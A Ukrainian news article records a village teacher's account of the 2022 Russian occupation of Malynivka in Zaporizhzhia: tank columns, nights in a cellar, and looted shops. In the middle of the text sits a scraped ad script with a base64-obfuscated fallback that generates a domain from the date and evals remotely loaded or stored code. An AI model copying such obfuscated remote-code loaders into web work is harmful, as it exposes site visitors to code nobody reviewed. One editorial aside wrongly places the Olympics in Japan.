Село Малинівка, Пологівський район, Запорізька область. Село було окуповане з 5 по 22 березня, після чого його звільнили українські військові. Проте воно й досі перебуває під постійними ворожими обстрілами. Населення — 621 людина, евакуйовано — 607 людей.
Герой цієї публікації — сільський вчитель Віктор Іванович, який прожив в окупації 17 днів.
Віктору Івановичу 66 років, з них 45 років пропрацював у сільській школі. Пережив окупацію та постійні обстріли загарбників. В селі перебував до 19 квітня, після чого прийняв рішення виїхати до Запоріжжя.
Ось його історія.
“Ранок 24-го лютого почався дуже тривожно. Му чули в останній тиждень перед 24 лютого, весь час говорили, що росія збирається напасти на Україну. Тобто, в повітрі вже дихала війна, хоча наше керівництво намагалося заспокоїти український народ. Але відчувалося щось недобре.
І ось, 24-го лютого, по завершенні Олімпіади в Китаї (Японії — прим. ред.), об’явили, що росія напала на нас, на Україну.
Не вірилося, напала якась депресія незрозуміла. Нічого не міг ні їсти, ні пити. Робити нічого не міг, руки не піднімалися. Завдяки тому, що господарство вдома: корова, свині, птиця, доводилося вправлятися.
28-го лютого не стало світла в селі. А в селі не стало світла — це не стало телебачення, не стало зв’язку, не стало води в ополонках. І ми відчули перші, так би мовити, перші труднощі війни. Проте, готувались до гіршого.
І, 3-го числа (березня — прим.ред.) ми побачили колони російських військ. В село увійшли після обіду, близько двохсот одиниць техніки. І мову, так би мовити, відібрало, коли побачили: їдуть і бензовози, і танки, бронетранспортери, Урали та КАМАЗи з солдатами, Гради тягнуть за собою.
Коли зайшла колона, то бронетранспортери і танки, танки в основному, стали в посадці. З двору отак тільки вийдеш, зразу видно посадку за річкою, і через кожні 5-10 метрів танк, танк, танк стоїть.Скільки їх там було хтось рахував, десь більше півсотні. А бронетранспортери ставили під будинками. Біля нашого будинку не було, бо він як на долоні. А їм це не вигідно, вони ховали техніку. Намагалися ото в посадку сховати.
var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Солдати? Де вони поселилися? Ну, по-перше, в селі багато пустих вже будинків. І вони розміщувалися в основному там. Одяг, форма на них — нова, зброя нова, все блищало.
До нас у двір вони не приходили, навколо двору ходили. Люди ховалися від них, намагалися, тільки вони їдуть чи йдуть, закриватися від них та не з’являтися на очі. Проте були й такі, які йшли на зустріч їм.
Коли вони зайшли, то стріляли по ним українці, наші. На другий день із посадки танки зникли, а бронетранспортери залишились. Танки почали ховати в садіку, під садіком, бо там багато зелені. Під школою, в шкільному саду.
Коли почалися обстріли, ми почали облаштовувати підвал. В мене два погріби, один на кухні — там закрутки, полички, місця практично немає.А другий у сіннику. Там він набагато більший, десь два на чотири метри. У ньому була картопля в ящиках, та так, насипом: розділена харчова та посадкова. І от ми на ту картоплю наносили матраси, кожухи, пальта, подушки, одіяла і ото ночували там, у погрібі. І ми, майже кожну ніч, ночували там.
Пройшло два дні, на третій день вони заїхали заїхали до центру, в центрі в нас 2 магазини. Під вечір, бронетранспортером витягли одвірки — із одного та з другого магазинів почали брать спиртне, в першу чергу, водку, коньяк, одяг брали, носки, труси і деякі продукти. Загалом, розкурочили магазини. На наступний день все, що залишалося в магазинах, продавці почали людям роздавать безплатно, бо все рівно заберуть росіяни.
А ще через день, все, що залишилось в магазині, в одному краю одяг, в іншому продукти, в третім краю господарчі товари — сільский універсальний магазин, і один, і другий. І от вони тією ізвістю перелили, перетрусили все, що там залашилося, щоб люди не могли користуватися».
Продовження — у проєкті телеканалу МТМ #на_межі.
Заголовне фото: скріншот МТМ (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/odyag-forma-na-rosiyanah-nova-zbroya-nova-vse-blishhalo-zhitel-zvilnenogo-silami-zsu-sela-na-zaporizhzhi-pro-zhittya-v-okupatsiyi-ta-vijskovih-rf/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
